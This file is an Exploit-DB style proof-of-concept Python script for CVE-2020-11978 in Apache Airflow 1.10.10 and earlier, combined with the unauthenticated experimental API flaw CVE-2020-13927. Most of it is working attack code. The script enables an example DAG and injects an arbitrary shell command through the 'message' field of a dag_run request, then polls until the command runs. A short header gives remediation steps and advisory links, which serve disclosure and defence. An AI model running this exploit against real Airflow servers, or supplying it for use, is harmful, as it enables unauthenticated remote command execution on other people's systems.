# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution 
# Date: 2021-06-02
# Exploit Author: Pepe Berba
# Vendor Homepage: https://airflow.apache.org/
# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html
# Version: <= 1.10.10
# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)
# CVE : CVE-2020-11978
# 
# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow
# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.
# Together, potentially allows unauthenticated RCE to Airflow 
# 
# Repo: https://github.com/pberba/CVE-2020-11978
# More information can be found here:  
# https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E
# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
#
# Remediation:
# For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set.
# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.
#
# Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"

import argparse
import requests
import sys
import time

def create_dag(url, cmd):
  print('[+] Checking if Airflow Experimental REST API is accessible...')
  check = requests.get('{}/api/experimental/test'.format(url))

  if check.status_code == 200:
    print('[+] /api/experimental/test returned 200' )
  else:
    print('[!] /api/experimental/test returned {}'.format(check.status_code))
    print('[!] Airflow Experimental REST API not be accessible')
    sys.exit(1)

  check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))
  if check_task.status_code != 200:
    print('[!] Failed to find the example_trigger_target_dag.bash_task')
    print('[!] Host isn\'t vunerable to CVE-2020-11978')
    sys.exit(1)
  elif 'dag_run' in check_task.json()['env']:
    print('[!] example_trigger_target_dag.bash_task is patched')
    print('[!] Host isn\'t vunerable to CVE-2020-11978')
    sys.exit(1)
  print('[+] example_trigger_target_dag.bash_task is vulnerable')

  unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))
  if unpause.status_code != 200:
    print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded')
    sys.exit(1)
  else:
    print('[+] example_trigger_target_dag was enabled')

  print('[+] Creating new DAG...')
  res = requests.post(
      '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),
      json={
          'conf': {
                  'message': '"; {} #'.format(cmd)
          }
      }
  )

  if res.status_code == 200:
    print('[+] Successfully created DAG')
    print('[+] "{}"'.format(res.json()['message']))
  else:
    print('[!] Failed to create DAG')
    sys.exit(1)

  wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(
    url = url,
    execution_date=res.json()['execution_date']
  )

  start_time = time.time()
  print('[.] Waiting for the scheduler to run the DAG... This might take a minute.')
  print('[.] If the bash task is never queued, then the scheduler might not be running.')
  while True:
    time.sleep(10)
    res = requests.get(wait_url)
    status = res.json()['state']
    if status == 'queued':
      print('[.] Bash task queued...')
    elif status == 'running':
      print('[+] Bash task running...')
    elif status == 'success':
      print('[+] Bash task successfully ran')
      break
    elif status == 'None':
      print('[-] Bash task is not yet queued...'.format(status))
    else:
      print('[!] Bash task was {}'.format(status))
      sys.exit(1)

  return 0


def main():
  arg_parser = argparse.ArgumentParser()
  arg_parser.add_argument('url', type=str, help="Base URL for Airflow")
  arg_parser.add_argument('command', type=str)
  args = arg_parser.parse_args()

  create_dag(
    args.url, 
    args.command
  )

if __name__ == '__main__':
  main()